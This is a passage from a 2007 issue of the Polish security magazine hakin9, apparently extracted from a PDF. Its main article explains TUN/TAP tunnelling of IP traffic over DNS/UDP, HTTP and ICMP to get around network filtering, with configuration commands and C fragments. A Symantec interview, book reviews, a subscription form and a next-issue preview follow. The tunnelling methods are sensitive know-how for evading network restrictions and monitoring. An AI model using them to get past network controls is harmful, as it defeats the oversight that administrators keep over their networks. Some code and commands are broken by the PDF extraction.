ifconfig tun0 10.0.0.1
10.0.0.2 netmask 0xffffffff

I po drugiej stronie tunelu analogicz-
nie, zamieniając kolejność adresów,
czyli:

ifconfig tun0 10.0.0.2 pointopoint
10.0.0.1 netmask 255.255.255.255

Test, czy wszystko działa:

root@catharsis:~# ping -c1 10.0.0.2
PING 10.0.0.2 (10.0.0.2) 56(84) bytes
of data.
64 bytes from 10.0.0.2: icmp_seq=1
ttl=64 time=99.3 ms
[...]
root@catharsis:/~# ssh drg@10.0.0.2
The authenticity of host '10.0.0.2
(10.0.0.2)' can't be established.
RSA key fingerprint is 15:eb:94:e4:c9:
7e:e0:26:e9:bb:98:f1:9e:80:55:dd.
Are you sure you want to continue
connecting (yes/no)? yes
Warning: Permanently added '10.0.0.2'
(RSA) to the list of known hosts.
Password:
Last login: Tue Nov 21 19:01:52 2006
from hawaje
drg@kajmany:~$

Listing 3 pokazuje przykładowy trans-
port pakietu zarejestrowany narzę-
dziem tcpdump po stronie serwera.
Mając już ostatecznie zestawiony tu-

nel, możemy po stronie serwera zor-
ganizować NAT:

kajmany:~# echo 1 > /proc/sys/net/ipv4/
ip_forward
kajmany:~# iptables -I FORWARD -j
ACCEPT
kajmany:~# iptables -t nat -I
POSTROUTING -s 10.0.0.0/24 -o eth0
-j SNAT --to kajmany

Określić odpowiednie trasy routingu
po stronie klienta:

root@catharsis:~# route add kajmany
domyślny.gw.aktualnego.ISP
root@catharsis:~# route delete default
root@catharsis:~# route add default
gw 10.0.0.2

I tym oto sposobem cały nasz ruch IP
przechodzi przez zdalny serwer kaj-
many na porcie 53 protokołu UDP,
dokonaliśmy czyli czegoś, co moż-
na nazwać IP-over-UDP bądź ściślej
ten przypadek - IP-over-DNS. Wpraw-
dzie wzmożony ruch na usłudze DNS
powinien się wydać użytkownikowi
co najmniej podejrzany, jednak ad-
ministratorom mojego ISP 1.7GB ta-
kich pakietów w ciągu dwóch dni nie
przeszkadzało. Rysunek 1 przedsta-
wia schemat stworzonego przez nas
właśnie tunelu.

W przypadku, gdy chcemy zmianić

hasła do konta znajdującego się na
naszym serwerze, możemy włącza-
my bluetooth w komórce chcąc usta-
nowić połączenie z Internetem. Gdy
jest to niemożliwe, a jesteśmy w zasię-
gu nieszyfrowanej sieci bezprzewodo-
wej i otrzymamy wszystkie ustawienia
po DHCP, możemy spróbować się po-
łączyć z naszym serwerem po ssh. Je-
żeli na pingi odpowiada, ale nie można
wejść ani na ssh, ani na ftp, ani na jab-
bera (www jednak działa), oznacza to,
że w sieci bezprzewodowej wyfiltro-
wane jest wszystko oprócz portu 80
protokołu TCP. Jeśli na jednym z na-
szych serwerów postawiliśmy kiedyś
usługę ssh, która zamiast na standar-
dowym porcie 22, nasłuchuje na por-
cie 80 – przydaje się ona właśnie na
takie okazje. Klient ssh połączenia nie
zestawia. Podejrzewamy, co może być
tego przyczyną – łączymy się więc tel-

netem na port 80 naszej maszyny i
wszystko staje się jasne. To serwer
proxy, który wtrąca się między nas,
a serwery WWW w Internecie, speł-
niając funkcję pośrednika i jednocze-
śnie ograniczając nas faktycznie tylko
do ruchu HTTP. Jest to częsta prak-
tyka otwartych sieci bezprzewodo-
wych, sieci firmowych, szkolnych, bi-
bliotecznych. Okazuje się również, że
port 443 (HTTPS) jest również wycię-
ty, więc i sshd na innym serwerze na
tymże porcie nie pomoże. Zapytania
DNS przepuszczane są tylko na lokal-
ne serwery nazw uzyskane z DHCP,
więc wcześniejsza idea też się nie
sprawdzi. Co więc zrobić?

IP-over-HTTP

Ustaliliśmy wcześniej, że jeżeli tyl-
ko możemy odbierać i wysyłać jakie-
kolwiek dane w sieci, możemy za po-
mocą tuneli TUN/TAP stworzyć po-
łączenie punkt-do-punkt ze zdal-
nym hostem i zagwarantować sobie
tym samym przepływ ruchu IP przez
wirtualny interfejs tunX, a następnie,
konfigurując koniec tunelu jako bra-
mę sieciową, zdobyć dostęp do sie-
ci osiągalnych przez zdalny kompu-
ter (np. do sieci Internet).

Przeanalizujmy więc wyżej opi-

sany przypadek. Nie możemy swo-
bodnie wysyłać pakietów na żad-
ną z usług protokołu TCP czy UDP,
możemy jedynie przeglądać strony
WWW. Spójrzmy na malutki formu-
larz w PHP umieszczony na serwe-
rze WWW (Listing 4). Jego działa-
nie jest bardzo proste – jeżeli nie wy-
syłamy żadnych danych, wyświetla
nam formularz do wypełnienia, jeże-
li formularz wypełnimy i dane wyśle-
my, pokaże nam co wprowadziliśmy.

Przeglądarka internetowa chcąc

wyświetlić stronę WWW używa po-
lecenia GET protokołu HTTP, jeżeli
natomiast chce wysłać dane do for-

O autorze

Autor od kilku lat współpracuje z róż-
nymi firmami z branży IT jako admini-
strator sieci, systemu oraz programi-
sta, aktualnie prowadzi własną firmę.
Stworzył wiele programów sieciowych
głównie w języku C.

Listing 6.

Struktura pakietu

ICMP

struct

icmphdr

{

__u8

type

;

__u8

code

;

__u16

checksum

;

union

{

struct

{

__u16

;

__u16

sequence

;

}

echo

;

__u32

gateway

;

struct

{

__u16

__unused

;

__u16

mtu

;

}

frag

;

}

;

}

;

Tunele TUN/TAP w systemach Linux/Unix

hakin9 Nr 2/2007

www.hakin9.org

mularza, używa metody POST, GET
lub PUT (w zależności od okoliczno-
ści), my użyjemy POST. Listing 5 po-
kazuje sesję programu telnet udają-
cego przeglądarkę WWW.

Jak widać, za pomocą protoko-

łu HTTP, czy to z pośredniczącym po
drodze serwerze proxy, czy też bez
niego, możemy odbierać i wysyłać
dane. By zrealizować więc nasz cel
(zmienić hasło, wcześniej logując się
przez ssh na serwer), musimy stwo-
rzyć dwie aplikacje – aplikację ser-
wera, która będzie udawała demona
WWW oraz aplikację klienta, udającą
przeglądarkę internetową. Funkcjonal-
ność tych programów będzie oczywi-
ście daleko odbiegać od funkcjonalno-
ści realnego demona i przeglądarki, je-
dyne bowiem o co się trzeba zatrosz-
czyć to otwarcie interfejsu tun oraz
przekazywanie do i z niego pakietów
przez Internet za pośrednictwem pro-
tokołu HTTP opakowując je odpowied-
nimi nagłówkami jak na Listingu 5.

Należy jednak zauważyć, że w

przeciwieństwie do poprzedniego
przykładu, aplikacja serwera musi tym
razem kolejkować pakiety do wysłania
z interfejsu tunelu, ponieważ może je
wysłać tylko wtedy, kiedy klient zaini-
cjuje połączenie. Widać też, że narzut
dodatkowych danych (nagłówki proto-
kołu HTTP) jest dużo większy niż w
przypadku IP-over-UDP. Ta droga bę-
dzie więc zdecydowanie mniej efek-
tywna niż przypadek poprzedni, jed-
nak na pewno wystarczy, by zmienić
hasło. Istnieje kilka możliwości, któ-
re zwiększą efektywność tunelowa-
nia IP protokołem HTTP, jak np. me-
toda CONNECT, która otwiera bezpo-
średnie połączenie TCP z danym ho-
stem (służąca m.in.do nawiązywania
połączeń SSL), wysłanie żądania o
niezamykanie od razu połączenia po
przesłaniu danych (dodając nagłówki

Connection: Keep-Alive/Proxy-Con-

nection: Keep-Alive oraz Keep-Alive:

czas podtrzymania połączenia) czy
też utrzymywanie jednego tunelu za
pomocą kilku równoległych połączeń.
Zapraszam do zapoznania się z na-
rzędziem HTun, dostępnym na płycie
dołączonej do magazynu i jego kodem
źródłowym, który jest dość komplek-
sowym rozwiązaniem tuneli HTTP.

IP-over-ICMP

Załóżmy, że w wyżej opisanej sy-
tuacji, serwer proxy nagle przesta-
je działać. Nie mamy więc sieci, ca-
ły ruch TCP i UDP odpada. Ale obok
tych dwóch jest jeszcze jeden pro-
tokół, którego nie sprawdziliśmy
– ICMP. Jest on wykorzystywany
do diagnozowania sieci (używa go
między innymi polecenie

ping)

. Wy-

syłamy więc do naszego zaufanego
serwera pakiet ICMP_ECHO (

ping

kajmany

), a ten odpowiada nam pa-

kietem ICMP_ECHOREPLY – ruch
ICMP nie jest wycięty. Trzeba więc
stworzyć aplikację, która będzie
działała identycznie do tej z IP-over-
UDP, z tą różnicą, że zanim wyśle-
my dane odebrane z interfejsu tunX,
poprzedzimy je pakietem ICMP (Li-
sting 6), natomiast po odczycie da-
nych z sieci, pominiemy nagłówki IP i
ICMP wysyłając do deskryptora pliku
tunelu właściwe dane. Spójrzmy na
funkcję

icmp _ loop()

będącą odpo-

wiednikiem

udo _ loop()

z pierwsze-

go programu, znajdującą się w pli-
ku icmp.c załączonego na płycie. By
wysłać pakiet ICMP musimy wypeł-
nić strukturę

icmp

odpowiednimi war-

tościami, np:

icmp->type = (mode =z= MODE_LISTEN) ?
ICMP_ECHOREPLY : ICMP_ECHO;
icmp->un.echo.id = id;
icmp->un.echo.sequence = 10;
icmp->checksum = 0;

wprawdzie pole checksum powin-
no zawierać sumę kontrolną pakie-
tu, jednak w pozwolimy sobie o tym
zapomnieć. Następnie możemy wy-
słać nasz pakiet, w którym właści-
we dane poprzedzone są nagłów-
kiem ICMP:

sendto(sockfd, (char*)icmp, len,
0, (struct sockaddr*)&raddr,
sizeof(struct
sockaddr_in));

Po odebraniu pakietu z sieci, nagłó-
wek ICMP nadawcy znajduje się za-
raz za nagłówkiem IP:

icmpr = (struct icmphdr*)(packet+sizeof
(struct ip));

po sprawdzeniu, czy to dane, na któ-
re czekaliśmy, możemy zapisać je do
deskryptora tunelu po naszej stronie,
oczywiście z pominięciem nagłówka
IP oraz ICMP:

write(tunfd, packet + sizeof(struct ip)
+ sizeof(struct icmphdr), rv -
sizeof(struct ip)-sizeof(struct

icmphdr));

Po skompilowaniu źródeł i wyłącze-
niu obsługi pakietów ICMP_ECHO
przez system (w Linuksie zrobi to dla
nas komenda):

echo 1 > /proc/sys/net/ipv4/icmp_echo_
ignore_all ), możemy z powodzeniem
zestawić tunel IP-over-ICMP
analogicznie
jak zrobiliśmy to w przykładzie z UDP.

Podsumowanie

Jak widać, mechanizm tuneli TUN/TAP
to całkiem potężne narzędzie. Dzięki
niemu, w sytuacjach kiedy mamy na-
wet bardzo ograniczony dostęp do od-
ległej sieci, jesteśmy w stanie otworzyć
sobie na nią okno poprzez wirtualny tu-
nel IP. Ograniczyliśmy się wprawdzie
do wykorzystywania jako transportu
dla naszych tuneli sieci Internet, jed-
nak możemy wykorzystać do tego za-
miast karty sieciowej innego sprzętu,
na przykład interfejsu bluetooth, portu
podczerwieni, usb, czy też samodziel-
nie zbudowanego urządzenia umożli-
wiającego przesyłanie danych.

Tunele TUN/TAP są jednak

przede wszystkim wykorzystywane
do tworzenia Wirtualnych Sieci Pry-
watnych (ang. Virtual Private Ne-

twork – VPN), a więc w bardzo wielu
firmach niezależnie od ich wielkości.
Oprogramowanie bowiem do zesta-
wiania takich tuneli (jak na przykład
OpenVPN) umożliwia szyfrowanie ca-
łego połączenia, tak więc w momen-
cie gdy będąc w niezaufanym środo-
wisku (np. nieszyfrowana sieć bez-
przewodowa bądź niepewny sprzęt,
do którego się podłączamy) trzeba
skorzystać z zasobów firmy, możemy
zestawić z nią szyfrowane połączenie
VPN – wykorzystując do tego właśnie
omawiane w tym artykule tunele. l

www.hakin9.org

hakin9 Nr 2/2007

Wywiad

hakin9:

Jak wygląda obsługa MS Visty w

Nortonie AV i Firewall?

Jarosław Samonek:

Nasze produkty bę-

dą kompatybilne z Vistą i będą chroniły użyt-
kowników indywidualnych oraz firmy przed po-
jawiającymi się zagrożeniami. Zarówno udo-
stępniona niedawno nowa wersja oprogramo-
wania dla użytkowników końcowych – Nor-

ton AntiVirus, jak i nowa wersja oprogramo-
wania dedykowanego dla małych firm i du-
żych przedsiębiorstw czyli Symantec AntiVi-

rus Corporate Edition są przygotowane do
współpracy z Vistą.

Ostateczne testy zostaną przeprowadzone

w momencie pojawienia się systemu. W chwi-
li obecnej na naszej stronie opublikowane są
pierwsze wersje testowe dla użytkowników,
którzy pobrali wersję testową Visty.

h9:

Czy nie boją się Państwo konkurencji

jaką jest koncern Microsoft i programy AV?

JS:

Nie. Symantec jest światowym lide-

rem na rynku programów do zabezpieczeń.
Udowodniliśmy, że w sytuacji, gdy klient ma
możliwość wyboru rozwiązania do zapewnie-
nia bezpieczeństwa swojego komputera, wy-
biera rozwiązania Symantec. Windows One-
Care jest od pewnego czasu obecne na ryn-

ku, a nasze rozwiązania nadal bardzo dobrze
się sprzedają.

h9:

Jak wygląda obsługa firm małych

i średnich w stosunku do dużych korporacji?

JS:

W przypadku tradycyjnych rozwiązań

zabezpieczających, takich jak oprogramowanie
antywirusowe czy narzędzia do tworzenia kopii
zapasowych, zainteresowanie małych firm rze-
czywiście rośnie. Co więcej, szacuje się, że za-
interesowanie to przez długi czas się utrzyma,
gdyż rynek w dalszym ciągu nie jest jeszcze w
pełni nasycony. Użytkownicy albo nie dysponu-
ją jakimikolwiek programami ochronnymi, albo
posiadają bardzo proste rozwiązania, których
funkcjonalność z czasem przestanie być wy-
starczająca. Rynek małych firm w Polsce jest
przede wszystkim bardzo wrażliwy na ceny. W
przypadku bardziej zaawansowanych techno-
logii, obserwujemy znacznie większe zaintere-
sowanie ze strony dużych firm, które podsta-
wowe technologie już dawno wdrożyły. Firmy te
chcą w dalszym ciągu zabezpieczać swoje śro-
dowiska i zmniejszać poziom ryzyka związany
z zagrożeniami.

h9:

Czy zainteresowanie indywidualnego

klienta wzrasta równie intensywnie jak wzrost
zagrożeń?

Wywiad z Jarosławem

Samonkiem – firma

SYMANTEC

Od 1999 roku kieruje polskim

oddziałem firmy Symantec. Był

odpowiedzialny za wdrożenia

kompleksowych rozwiązań

bezpieczeństwa w wielu

międzynarodowych koncernach,

instytucjach administracji państwowej

i przedsiębiorstwach sektora

finansowego. Ukończył wydział

organizacji i zarządzania w przemyśle

na Politechnice Warszawskiej.

Jarosław Samonek

JS:

Wzrost zainteresowania programami zabezpie-

czającymi u klientów indywidualnych wynika między in-
nymi ze wzrostu dostępności Internetu w Polsce. Ceny
szerokopasmowego dostępu spadają, więc osoby, które
do tej pory nie korzystały z sieci, lub korzystały spora-
dycznie, zaczęły wykorzystywać to medium w szerszym
zakresie, używając programów pocztowych, bankowo-
ści on-line, tworząc własne strony WWW itd. Ponad-
to rośnie ilość transakcji realizowanych drogą elektro-
niczną, a tym samym związanych z nimi zagrożeń. Nic
więc dziwnego, że przeciętny użytkownik jest coraz bar-
dziej zainteresowany kwestiami bezpiecznego korzysta-
nia z Internetu.

h9:

Ruszyła telewizja nowej generacji, telewizja N,

czy z Pana punktu widzenia zagrożenia połączeń wzro-
sną?

JS:

Pojawienie się nowych technologii zawsze niesie

ze sobą pojawienie się nowych zagrożeń.

Kiedyś nikomu nie przyszłoby do głowy, że pojawie-

nie się telefonu komórkowego będzie niosło ze sobą no-
we zagrożenia. Tymczasem wystarczy znaleźć się w
miejscu publicznym z aktywnym łączem Bluetooth, a sta-
niemy się podatni na infekcję wirusem, czy też na wykra-
dzenie danych z książki telefonicznej. Tego typu przypad-
ki mają miejsce codziennie.

Coraz częściej też płacimy przez telefon, w związ-

ku z tym przejęcie kontroli nad telefonem komórkowym
i wysłanie sms-ów na linie płatne, wykonywanie połą-
czeń na numery płatne stanowi kolejne poważne zagro-
żenie.

Wprowadzenie zintegrowanej telewizji cyfrowej gdzie

również przez sygnał cyfrowy możemy wysyłać cyfrowy
kod destrukcyjny oczywiście wiąże się z zagrożeniami.
Dzisiaj trudno jest spekulować jakie te zagrożenia bę-
dą, ale twórcy wirusów są na tyle kreatywni, że z pewno-
ścią już nad tym pracują, zastanawiając się jak wykorzy-
stać tą okazję.

h9:

Jak wygląda wzrost zainteresowań firmą Syman-

tec na rynku krajowym w stosunku do rynku zagranicz-
nego?

JS:

W Polsce obserwujemy wyraźny trend rosnący.

Przede wszystkim z powodu inwestycji w IT, także w za-
kresie bezpieczeństwa. Wcześniej wydatki w Polsce na
zapewnienie bezpieczeństwa były znacznie niższe niż
w krajach bardziej rozwiniętych, jak chociażby kraje Eu-
ropy Zachodniej. Polska stara się tę przepaść nadrobić,
dlatego polskie przedsiębiorstwa coraz chętniej i więcej
inwestują w technologie IT. Do tej pory polskie firmy in-
westowały głównie w sprzęt. Obecnie widzimy, że opro-
gramowanie zabezpieczające jest często skuteczniej-
sze niż sprzęt. Z drugiej strony jest dużo aplikacji, któ-
re pozwalają nam przede wszystkim zwiększyć wydaj-
ność urządzeń, które stosujemy w sieci bądź też aplika-
cji, które są krytyczne dla naszego biznesu. Stąd zain-
teresowanie rozwiązaniami programowymi zdecydowa-
nie rośnie. l

hakin9 Nr 2/2007

www.hakin9.org

Księgozbiór

hakin9 Nr 2/2007

www.hakin9.org

Księgozbiór

Niewiele jest pozycji zajmujących się tematyką spamu.
Prezentowana publikacja Mikomu jest rzeczywiście książ-
ką dobrą. Co prawda, na początek czytelnik dostaje ponad
70-cio stronicowy wykład o historii spamu. Czyta się tę
część lekko, łatwo i przyjemnie. Można się spierać, czy
tak zajmujące nieomal 1/5 książki wprowadzenie jest sen-
sowne, niemniej, jest to jedyna słaba strona książki. Spa-
mowi STOP jest bowiem książką skonstruowaną wedle
najlepszych metodycznych wzorców – kolejne rozdzia-
ły są konsekwentnie budowane na wiedzy przedstawio-
nej w poprzednich i ten kto spróbuje sobie po zagadnie-
niu „skakać” może zostać zmuszonym do zapoznania się
z wcześniejszym materiałem. Dla tych których znuży prze-
bijanie się poprzez zawiłości tworzenia macierzy decyzyj-
nej, kodowania i dekodowania czy leksemizacji wiadomo-
ści pewnym odpoczynkiem będzie rozdział zatytułowany
„niecne sztuczki natrętów” przedstawiający niektóre z roz-

wiązań stosowanych przez spamerów. Po tym wytchnie-
niu wracamy do zagadnień związanych z filtrami – od roz-
ważań związanych z przechowywaniem i skalowaniem
olbrzymich ilości danych aż po analizę leksykalną czy
algorytmy zbiorowe. Jak widać jest to publikacja przezna-
czona przede wszystkim dla pasjonatów oraz tych którzy
z racji wykonywanych obowiązków muszą poszukać sku-
tecznych metod pozbywania się niechcianej poczty. http://

mikom.pwn.pl/5035_pozycja.html.

Tytuł: C/C++. Bezpieczne programowanie. Receptury.

Autor: John Viega, Matt Messier

Wydawca: Helion

Rok: 2005

Stron: 780

Książka ‘C/C++...’ wydana z serii podręczników wydaw-
nictwa O’Reilly, to jedna z tych pozycji, które powinny
należeć do lektur obowiązkowych programisty para-
jącego się pisaniem kodu w tych językach. Wiadomo
bowiem, iż spora część luk, które inicjują nowe zagro-
żenia w oprogramowaniu, ma swoją praprzyczynę
w lekkomyślności, pośpiechu czy zwyczajnemu nie-
douczeniu programisty, które spowodowały, iż zigno-
rował on zasady prawidłowego tworzenia kodu. Książ-
ka porusza zagadnienia czysto programistyczne, nie
oznacza to jednak , że mamy tu do czynienia z jesz-
cze jedną pozycją typu „programowanie w 10 dniu” czy
też „C++ dla opornych”. Publikacje firmowane przez
O’Reillego zdecydowanej większości są wszak adre-
sowane do zaawansowanego odbiorcy. Na całe szczę-
ście nie uszczegóławia ona środowiska, w którym
będzie pracował kod. W treści znajdziemy przykła-
dy zarówno dla Linuxa jak i dla Windows. Zaprezento-
wane fragmenty kodu, to przede wszystkim przykłady

pozwalające na zobaczenie, że powszechnie spraw-
dzone i wykorzystywane rozwiązania, biblioteki oraz
swoiste triki, mogą stanowić optymalne wyjście z wielu
problemów, zaś jedyną przeszkodą w ich zastosowa-
niu bywa najczęściej niewiedza, która zmusza do przy-
słowiowego „wybijania otwartych drzwi.

Treść książki, skupia się w przeważającej części na

zagadnieniach dotyczących bezpiecznego tworzenia
kodu, unikania znanych błędów, właściwego implemen-
towania wytyczonych rozwiązań oraz pisania źródeł
w sposób minimalizujący możliwości wystąpienia nad-
użyć. Najwięcej miejsca, autorzy poświęcili zagadnie-
niom dotyczącym oprogramowywania rozwiązań kryp-
tograficznych, tworzenia kodu operującego w sieci czy
też na PKI. Omawiane przykłady są dobrze dobrane
i w czytelny sposób ilustrują zarówno sam problem jak
i metody jego ominięcia, dając tym samym czytelnikowi
pełny komfort przy studiowaniu przedstawianych zagad-
nień. http://helion.pl/ksiazki/ccprec.htm

Tytuł : Spamowi STOP! Bayesowskie filtrowanie zawartości
i sztuka statystycznej klasyfikacji
języka.

Autor: Jonathan A. Zdziarski

Tłumaczenie: Lexem

Wydawnictwo : Mikom

Stron : 358

Oprawa : Miękka

Recenzje opracowali Krystyna Wal i Łukasz Długosz z zespo-
łu InfoProf (http://www.infoprof.pl/). Książki do recenzji udo-
stępniła autorom Księgarnia Informatyczna w Krakowie (http://
www.informatyczna.pl/), zaś redakcji – wydawnictwa Helion
i WNT.

hakin9 Nr 2/2007

www.hakin9.org

Księgozbiór

hakin9 Nr 2/2007

www.hakin9.org

Tytuł: 19 grzechów śmiertelnych Jak naprawić najczęstsze usterki oprogramowania.

Autor: Michael Howard, David LeBlanc, John Viega

Wydawca: PWN

Rok: 2006

Stron: 364

Rozpoczynając lekturę książki “19 grzechów śmier-

telnych” spodziewałem się omówienia problemów stric-
te programistycznych, tymczasem autor opisuje w
niej nieco szerzej problem usterek programowania,
uwzględniając zagadnienia bezpieczeństwa (stosowa-
ne szyfrowanie, polityka haseł) oraz poświęca uwagę
podejściu samych użytkowników do aplikacji i związa-
nych z tym kłopotów. Opis książki sugeruje, iż jest ona
przeznaczona dla wszystkich zajmujących się progra-
mowaniem, jednak książka nie jest przeznaczona dla
początkujących programistów. Przykłady są starannie
opisane, ale wskazane jest pewne obycie w tematyce
programowania.

Na samym początku moją uwagę zwróciły termi-

ny “wkłucia sql” i “skrypty międzyserwisowe” być może
dlatego, że nie jestem do nich przyzwyczajony brzmiały
dość nietypowo i może dobrym pomysłem byłoby pozo-
stawienie nazw w j. angielskim, niemniej jednak po jakimś
czasie można się do nich przyzwyczaić. Książkę czyta
się szybko, 19 tytułowych grzechów tworzą osobne roz-
działy i pomimo tego, że poszczególne grzechy nacho-
dzą na siebie, w sensie podobieństw w ich popełnianiu,
uważam, że autorowi całkiem dobrze udało się je skata-
logować. Za ciekawy pomysł uważam poruszanie się w

terminologii grzechu – rachunek sumienia, postanowie-
nie poprawy etc.

Każdy opisywany grzech podawany jest w pewien

określony sposób – od jego omówienia, poprzez rozpozna-
nie do opisania sposobów na jego uniknięcie. Do każdego
rozdziału autor dodaje listę materiałów dodatkowych oraz
sugerowanych narzędzi pomocnych w walce z grzechem.

Książka opisuje problemy pojawiające się na wielu

poziomach projektowania aplikacji – są tam opisane
trudności przy implementowaniu połączeń ssl, proble-
my związane z rozwiązywaniem nazw dns, przechowy-
waniem haseł, testowaniem danych wejściowych czy też
wspomnianych skryptów międzyserwisowych. Korzy-
ścią dla czytelnika jest, spora ilość przykładów. Podawa-
ne są przykłady zawierające opisywane błędy (grzechy)
jak i takie z poprawionymi błędami. Ponieważ podawane
przykłady nie ograniczają się do jednego języka progra-
mowania więc każdy czytelnik powinien znaleźć odpo-
wiadający mu język – mnie osobiście cieszyły fragmen-
ty kodu w php i python. Autor kładzie nacisk na to, aby
programiści stosowali istniejące i sprawdzone rozwiąza-
nia w miejsce tworzenia czegoś nowego, zaprojektowa-
nego przez nich samych, a zarazem niezweryfikowanego
i podatnego na błędy.

Tytuł: Bezpieczeństwo protokołu TCP/IP

Autor: Libor Dostálek

Wydawca: PWN

Rok: 2006

Stron: 800

Niektórych może mylić tytuł książki, jednak jest to

pełny przewodnik po protokole TCP/IP i na nim opartych.
Pozycja składa się 20 rozdziałów, każdy dość wyczer-
pująco omawia swój temat. Czytając książkę zaczyna-
my od poznania podstaw najpopularniejszego protoko-
łu. Poznajemy jego budowę, zalety i wady. Już na tym
etapie dowiadujemy się jak zdobyć przepływające przez
niego dane. Pokrótce opisana jest warstwa łącza danych
(Ethernet, FrameRelay, Wlan i PPP – temu poświęcono
nieco więcej miejsca). W dalszej części zostaje opisane
nazewnictwo klientów – IPv4 i IPv6, a także system DNS.
W tym rozdziale, jak i w innych, wykorzystano dużo róż-

norodnych i czytelnych diagramów, a także odwołań do
dokumentów RFC. W kolejnej części dowiemy się wszyst-
kiego o MIME – podstawie dzisiejszego emaila. Poka-
zane są tutaj także algorytmy “szyfrowania” (Base64,
Quoted-printable czy Radix-64 wykorzystywane w PGP).
Potem dochodzimy do tego na co każdy czekał – uwie-
rzytelnianie i autoryzacja. Nie jest to czysto techniczny
rozdział, pokazano tutaj fizyczne sposoby uwierzytelnie-
nia (hasła, kody jednorazowe, tokeny, także biometryka),
wspomniano też o protokole RADIUS. Kolejnie przecho-
dzimy do tego co ma chronić – do firewalli, ale także to
jednej z niebezpieczniejszych rzeczy jakimi są serwery.

Zaprenumeruj swoje ulubione magazyny

i zamów archiwalne numery!

Gwarantujemy:

- preferencyjne ceny
- bezpieczną płatność on-line
- szybką realizację Twojego zamówienia
Bezpieczna prenumerata on-line wszystkich tytułów Wydawnictwa Software!

www.buyitpress.com

zamówienie prenumeraty

Prosimy wypełnić czytelnie i przesłać faksem na numer:

(22) 887 10 11 lub listownie na adres: Software-Wydawnictwo Sp. z o.o.,

Bokserska 1, 02-682 Warszawa, e-mail: pren@software.com.pl. Przyjmujemy też zamówienia telefoniczne:

(22) 887 14 44

Imię i nazwisko............................................................................................ ID kontrahenta..........................................................................................

Nazwa firmy................................................................................................. Numer NIP firmy.......................................................................................

Dokładny adres....................................................................................................................................................................................................................

Telefon (wraz z numerem kierunkowym)................................................... Faks (wraz z numerem kierunkowym) ....................................................

E-mail (niezbędny do wysłania faktury)............................................................................................................................................................................

zamówienie prenumeraty

Cena prenumeraty rocznej dla osób prywatnych

Cena prenumeraty rocznej dla osób prenumerujących już Software Developer’s Journal lub Linux+

Cena prenumeraty dwuletniej Aurox Linux

Jeżeli chcesz zapłacić kartą kredytową, wejdź na

stronę naszego sklepu internetowego:

www.buyitpress.com

automatyczne przedłużenie prenumeraty

Suma

Tytuł

Ilość

numerów

Ilość

zamawianych

prenumerat

Od numeru

pisma lub

miesiąca

Opłata

w zł

z VAT

Software Developer’s Journal (1 płyta CD)

– dawniej Software 2.0

Miesięcznik profesjonalnych programistów

250/180

SDJ Extra

(od 1 do 4 płyt CD lub DVD)

– dawniej Software 2.0 Extra!

Numery tematyczne dla programistów

150/135

Linux+DVD (2 płyty DVD)

Miesięcznik o systemie Linux

199/179

Linux+Extra! (od 1 do 7 płyt CD lub DVD)

Numery specjalne z najpopularniejszymi dystrybucjami Linuksa

232/198

PHP Solutions (1 płyta CD)

Dwumiesięcznik o zastosowaniach języka PHP

135

Hakin9, jak się obronić (1 płyta CD)

Miesięcznik o bezpieczeństwie i hakingu

199

/219

.psd (1 płyta CD + film instruktażowy)

Dwumiesięcznik użytkowników programu Adobe Photoshop

140

.psd numery specjalne

(.psd Extra + .psd Starter Kit)

140

Aurox Linux (4 płyty CD + 1 płyta DVD)

Magazyn z najpopularniejszym polskim Linuksem

119

Aktualne informacje o najbliższym numerze

http://www.hakin9.org/pl
Numer w sprzedaży na początku miesiąca marca 2007 r.

Redakcja zastrzega sobie prawo zmiany zawartości pisma.

hakin9

3/2007

w następnym numerze

między innymi:

Zapowiedzi

PHP i czyhające w nim niebezpieczeństwa

Jeżeli możemy przeczytać nienależący do nas plik na serwerze, ktoś inny
może również przeczytać nasz config.php z hasłami do naszej bazy

Paweł Maziarz opisze dyrektywy z php.ini ,,safe_mode'' oraz ,,open_ba-

sedir'' a także przedstawi sposób obejścia przez luki w modułach php (funk-
cje curl, imap, sendmail etc.)

Znajdzie się również opis niektórych funkcji posix_*, które często są ak-

tywne, a które mogą uprzykrzać życie.

Ataki ICMP na protokół TCP

Artykuł będzie opisywał zależność między tymi dwoma protokołami, wpływ
jaki ma ICMP na TCP, w jaki sposób to wykorzystać do zakłócenia lub prze-
rwania sesji TCP oraz jak sobie z tym problemem poradzić.

Zwiększania niezawodności programów komu-

nikujących się za pośrednictwem protokołu

UDP

Klient omawianego backdoora posiadałby miniprotokół w postaci własnej
ramki zawierającej takie elementy jak suma kontrolna CRC oraz identyfika-
tor pakietu. Dzięki tym elementom, backdoor miałby możliwość ewentualne-
go wykrycia uszkodzonego pakietu z poleceniem i wysłaniem do klienta sto-
sownego komunikatu.

Na CD:

• hakin9.live - butowalna dystrybucja Linuxa;
• 26 tutoriali w tym jeden nowy – praktyczne ćwiczenia zagadnień poru-

szanych w artykułach;

• specjalne wersje komercyjnych programów;
• e-books – książki elektroniczne;
• kurs na certyfikat Cisco CCNA. cz. II

Obrona

Atak

Wyszukiwarka

Podobne podstrony:
Hakin9 22 (02 2007) PL
Hakin9 31 (11 2007) PL
Hakin9 23 (03 2007) PL
Hakin9 25 (05 2007) PL
Hakin9 29 (09 2007) PL
Hakin9 26 (06 2007) PL
Hakin9 21 (01 2007) PL
Hakin9 34 (02 2008) PL
Hakin9 28 (08 2007) PL
Hakin9 30 (10 2007) PL
Hakin9 27 (07 2007) PL
Hakin9 24 (04 2007) PL
Hakin9 32 (12 2007) PL
Hakin9 31 (11 2007) PL
Hakin9 32 (12 2007) PL
Hakin9 26 (06 2007) PL
Hakin9 31 (11 2007) PL
Hakin9 21 (01 2007) PL

więcej podobnych podstron